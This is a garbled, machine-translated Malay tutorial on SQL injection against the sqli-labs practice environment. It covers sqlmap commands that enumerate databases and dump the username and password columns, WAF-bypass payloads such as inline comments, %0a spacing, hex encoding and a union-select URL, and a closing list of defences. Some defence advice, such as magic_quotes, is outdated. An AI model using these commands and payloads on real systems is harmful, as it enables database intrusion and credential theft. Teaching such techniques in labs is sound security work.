Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi

Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi

WBOY
WBOYke hadapan
2023-05-11 18:37:061036semak imbas

Bahagian 1: Menggunakan Sqlmap

1.1 Pengenalan kepada sqlmap

1 Saya menyebut beberapa penyataan asas suntikan sql sebelum ini, tetapi suntikan manual sangat menyusahkan sql injection. antara muka Pelayan yang memasuki pangkalan data. Ia mempunyai enjin pengesanan yang sangat berkuasa, penguji penembusan dengan pelbagai ciri, akses kepada sistem fail asas melalui cap jari pangkalan data dan pelaksanaan perintah melalui sambungan luar jalur.

Tapak web rasmi: sqlmap.org


(2)#Pangkalan data yang disokong:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft

Akses, IBM DB2, SQLite, Firebird, Sybase dan SAP MAXDB. Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi

(3)#Sokong pelbagai kaedah suntikan


#UNION query SQL injection (boleh digabungkan dengan query injection)
#error-based SQL injection (error-reporting injection)

# Suntikan SQL buta berasaskan Boolean

#Suntikan SQL buta berasaskan masa (suntikan kelewatan masa)

#Suntikan SQL pertanyaan bertindan (suntikan pertanyaan berbilang pernyataan)


Pemasangan 1.2 sqlmap dan pembinaan persekitaran

1. Langkah utama pemasangan sqlmap

(1) Pasang persekitaran python--->sqlmap memerlukan persekitaran python

Alamat muat turun Python: https://www. python.org/downloads/release/python-2715/)

sqlmap lebih serasi dengan Python2 Namun, apa yang perlu diubah ialah laluan pemasangan sqlmap Di sini ia ditukar kepada C:UsersAdministratorpython Untuk terus memasuki direktori sqlmap dari baris arahan untuk operasi yang lebih mudah)

(2) Jangan pasang Python ke laluan Cina, dan Tambah Python pada pembolehubah persekitaran. . Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi

Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi (3) Muat turun dan pasang sqlmap, ubah suai direktori pemasangan kepada C:UsersAdministratorsqlmap

(4) Uji persekitaran python: Masukkan baris arahan cmd, masukkan Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLipython,

Gesaan berikut akan menunjukkan pemasangan yang berjaya

C:UsersAdministrator>

python

Python 2.7.16

(v2.7.16:413a49145e, 4 Mac 2019, 01:37:19) [MSC v.1500 64 bit (AMD64)] pada win32 Taip "help", "copyright" , " kredit" atau "lesen" untuk maklumat lanjut.
>>> keluar (); h (perhatikan laluan) C:UsersAdministratorsqlmap>
sqlmap.py -h

#Lihat maklumat bantuan

1.3 sqlmap parameter biasa

#(1) Dapatkan nama perpustakaan, nama lajur, kebenaran

Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi

--dbs #Dapatkan semua pangkalan data

--dbms mysql #Nyatakan jenis pangkalan data
  • --pengguna #Semua pengguna pangkalan data (nama pengguna tempatan pangkalan data)
  • - -kata laluan #Dapatkan kata laluan pangkalan data, (hanya boleh dibaca jika anda mempunyai kebenaran)
  • --teknik #Nyatakan jenis suntikan yang hendak digunakan
  • -- current-db #Pangkalan data semasa
  • --banner #Dapatkan pengenalan pangkalan data
  • -D database_name --tables #-D digunakan untuk menentukan data ,--tables mendapatkan jadual di bawah perpustakaan tertentu
  • -D nama_pangkalan data -T nama_jadual --lajur #-T menentukan nama jadual,--lajur mendapat medan lajur
  • -D nama_pangkalan data -T nama_jadual -C column_1,column_2 --dump
  •                 #-C menentukan nama medan, --dump memaparkan hasil
  • -- pengguna #Lajur pengguna pengurusan pangkalan data apabila pengguna semasa mempunyai kebenaran untuk membaca jadual yang mengandungi semua pengguna, semua pengguna pengurusan boleh disenaraikan.

  • --pengguna semasa #Pengguna yang menguruskan data boleh diperolehi dalam kebanyakan pangkalan data.
  • --is-dba #Tentukan sama ada pengguna semasa adalah pengurusan, jika ya, Benar akan dikembalikan.
  • --keistimewaan #Apabila pengguna semasa mempunyai kebenaran untuk membaca jadual yang mengandungi semua pengguna, ia mungkin menyenaraikan kebenaran setiap pengguna dan sqlmap akan memberitahu anda yang mana satu milik pentadbir Super pangkalan data. Anda juga boleh menggunakan parameter -U untuk menentukan kebenaran pengguna yang anda mahu lihat.
  • --proksi #Nyatakan pelayan proksi cth: –proksi http://local:8080
  • #(2) Tentukan awalan dan akhiran:
    • #sqlmap tidak dapat mengesan banyak aksara gangguan Anda boleh menentukan awalan dan akhiran secara manual apabila menutup

    • pilih * daripada pengguna di mana id=((('. 1 '))) dan 1=1

    • #--prefix=PREFIX Inject awalan rentetan muatan

    • #--suffix=SUFFIX Inject akhiran Rentetan muatan
      cth: sqlmap -u "www.target.com/index.php?id=1" -p id --prefix "'))"
      --suffix "AND ('1'= '1"

    #(3) Hasil eksport:

    • sqlmap -u "www.a.com/ 1.php?id=1” --file-write=”d:/1.txt”

    • --file-dest=”E:/wwwroot/web/one. php "

    • --batch automatik sepenuhnya

    • --start=start number--stop=end number

    • --buang data eksport

    • --buang-semua eksport semua data

    • --purge-output/ -- bersihkan Kosongkan direktori cache

    • --sql-shell Rebound sqlshell, serupa dengan sql query analyzer Default path.sqlmap (klik sqlmap)

    1.4 contoh praktikal sqlmap

    #Less-1--Less65 pernyataan umum (ini ialah parameter yang paling biasa digunakan, mesti difahami)

    #(1) Dapatkan semua nama perpustakaan
    C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --dbs --dbms= mysql --batch

    #Parsing:

    -u diikuti dengan url, menunjukkan url ujian

    --dbs menunjukkan mendapatkan semua pangkalan data

    -- dbms bermaksud jenis pangkalan data yang ditentukan ialah mysql

    --batch bermaksud mendapatkan secara automatik

    -D keselamatan --tables bermaksud untuk mendapatkan nama jadual pangkalan data yang ditentukan sebagai keselamatan

    -D keselamatan -T pengguna --lajur bermaksud untuk mendapatkan nama lajur dalam jadual pengguna dalam pangkalan data yang ditentukan sebagai keselamatan

    -D keselamatan -T pengguna -C nama pengguna,kata laluan --buang #Dapatkan perpustakaan keselamatan, pengguna Maklumat data medan nama pengguna dan kata laluan dalam jadual, --dump bermaksud hasil paparan

    #Keputusan:
    [*] cabaran
    [*] dvwa
    [* ] information_schema
    [*] mysql
    [*] owasp
    [*] performance_schema
    [*] security
    [*] test

    #(2) Dapatkan nama perpustakaan semasa
    C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db -- batch
    #Result:
    pangkalan data semasa: 'security'

    #(3) Dapatkan nama jadual semasa
    C:UsersAdministratorsqlmap> python sqlmap.py -u " http://localhost/sqli/Less-1?id=1" -D keselamatan --tables --batch

    #Result:
    Pangkalan data: keselamatan
    [ 4 jadual]
    +---------+
    | e-mel |
    |pengguna |
    | 🎜>+---- ------+

    #(4) Dapatkan nama lajur semasa
    C:UsersAdministratorsqlmap>python sqlmap.py - u "http://localhost/ sqli/Less-1?id=1" -D keselamatan -T pengguna --columns --batch

    #Result:

    Pangkalan data: keselamatanJadual: pengguna
    [3 lajur]
    +----------+------------+
    | Jenis Lajur |
    +--- -------+-----------+
    | id |
    | ) |
    |. nama pengguna | varchar(20) |
    +----------+------------+

    #(5) Dapatkan jadual pengguna Kandungan nama pengguna dan kata laluan

    C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D keselamatan -T pengguna -C nama pengguna,kata laluan - -dump --batch

    #Keputusan:

    Pangkalan data: keselamatanJadual: pengguna
    [13 entri]
    +------ ---+----------------+
    | nama pengguna |
    +--------. -+-----------+
    |. Bodoh |
    | |.
    |. kebodohan |
    | |. admin2 |
    |. admin3 |
    |. ----+

    No. Bahagian 2: Pintasan WAF untuk suntikan sqli

    2.1 Pengenalan kepada kaedah pintasan WAF untuk suntikan SQL


    Nota: Ini hanya contoh untuk menggambarkan kaedah pintasan, senario sebenar adalah lebih rumit Lagi Kaedah pintasan boleh dicampur dan dikodkan.


    1. Selepas mengetahui kaedah suntikan sql, bagaimana kita boleh menghalang suntikan sql?

    #(1) Tapis aksara ulasan

    #(2) Tapis dan atau atau

      #(3) Penapis pilih atau penyatuan
    • #(4) Penapis senarai hitam
    • Apakah kaedah yang ditapis dan/atau pintasan ?
    • #(1) Mysql tidak sensitif huruf besar dan boleh dilaksanakan dengan betul;===>Ubah bentuk kes guna
    • #(2) mysql menyokong perenambelasan, gunakan pengekodan perenambelasan atau URL

    • #(3) Gantikan perkataan dengan simbol = ==> dan(&&) atau(||)

    • #(4) Komen sebaris dan komen berbilang baris===>Tambahkan ulasan dalam perkataan sensitif a/**/nd Double write bypass oORr

    3 Sudah tentu ada kaedah lain Mari kita ambil kaedah penapisan ini sebagai contoh untuk bercakap tentang cara memintas.

    Terdapat waf. peranti dalam senario sebenar, dan waf sebenarnya menghalang suntikan sql dengan menapis beberapa kata kunci

    2.2 percubaan waf pintasan suntikan SQL

    1

    #(1) Sebab untuk menapis aksara ulasan: Untuk pernyataan SQL biasa, aksara ulasan memainkan peranan deskriptif. Walau bagaimanapun, dalam proses mengeksploitasi kelemahan suntikan SQL, aksara ulasan memainkan peranan untuk menutup petikan tunggal, petikan tunggal berbilang, petikan berganda, kurungan tunggal dan berbilang kurungan.

    Ulasan satu baris: --+ atau --space atau #
    Ulasan berbilang baris: /* Kandungan ulasan berbilang baris* /

    #(2) Fungsi penapis preg_replace

    preg_replace(campuran $corak, campuran $penggantian, campuran $subjek): Lakukan carian dan penggantian ungkapan biasa.
    $pattern: Corak untuk dicari, yang boleh berupa rentetan atau tatasusunan rentetan
    $replacement: Rentetan atau tatasusunan rentetan yang digunakan untuk penggantian.
    $subject: Rentetan sasaran atau tatasusunan rentetan untuk dicari dan diganti.

    Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi

    #(3) Pintasan anotasi:

    Menggunakan anotasi untuk menapis tidak boleh berjaya menutup petikan tunggal, dsb., gunakan cara pemikiran dan penggunaan lain atau '1'= '1 Menutup petikan tunggal, dsb.
    http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273

    Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi

    2. Bagaimana untuk memintas ditapis dan atau atau (Kurang-25 sebagai contoh)

    (1) Analisis kod sumber: Anda boleh melihat itu atau atau dan digantikan dengan kosong

    Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi

    (2) Langkah operasi

    Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLiBagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLiBagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi

    3. Bagaimana untuk memintas ruang yang ditapis? contoh )

    (1) Gunakan %0a sebagai ruang

    Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi

    4. Bagaimana untuk memintas pilihan/penyatuan yang ditapis? )

    Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLiBagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLiBagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi

    Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLiBagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi

    Bahagian Tiga: SQL Injection Defense

    3.1 SQL Injection Defense Kaedah

    1. Langkah perlindungan biasa:

    #(1), matikan gesaan ralat: display_errors=Off

    #(2) dalam fail konfigurasi PHP php.ini, petikan ajaib ( Kesan yang sama seperti addslashes): Apabila magic_quotes_gpc=Hidup dalam php.ini. Semua petikan tunggal ('), petikan berganda ("), garis miring ke belakang () dan NUL (aksara NULL) dalam pembolehubah yang diserahkan akan ditukar secara automatik kepada aksara melarikan diri yang mengandungi garis miring ke belakang
    #(3), data Penapis kanan: Contohnya, tapis kata kunci biasa seperti dan/atau/kesatuan
    #(4) Kawal kebenaran pengguna untuk menyambung ke pangkalan data: Setiap perpustakaan menetapkan pentadbir untuk satu perpustakaan, jangan gunakan kebenaran root.
    #(5). ), Prapemprosesan dan parameterisasi (PDO): Memproses parameter yang dihantar oleh pengguna dan mengembalikan nilai Boolean, bukannya hanya "menghubungkan" data, dengan itu mengelakkan suntikan SQL
    #(6), Langkah-langkah perlindungan perkakasan (WAF dan perkakasan lain)

Atas ialah kandungan terperinci Bagaimana untuk menganalisis pertahanan suntikan SQLMap dan SQLi. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam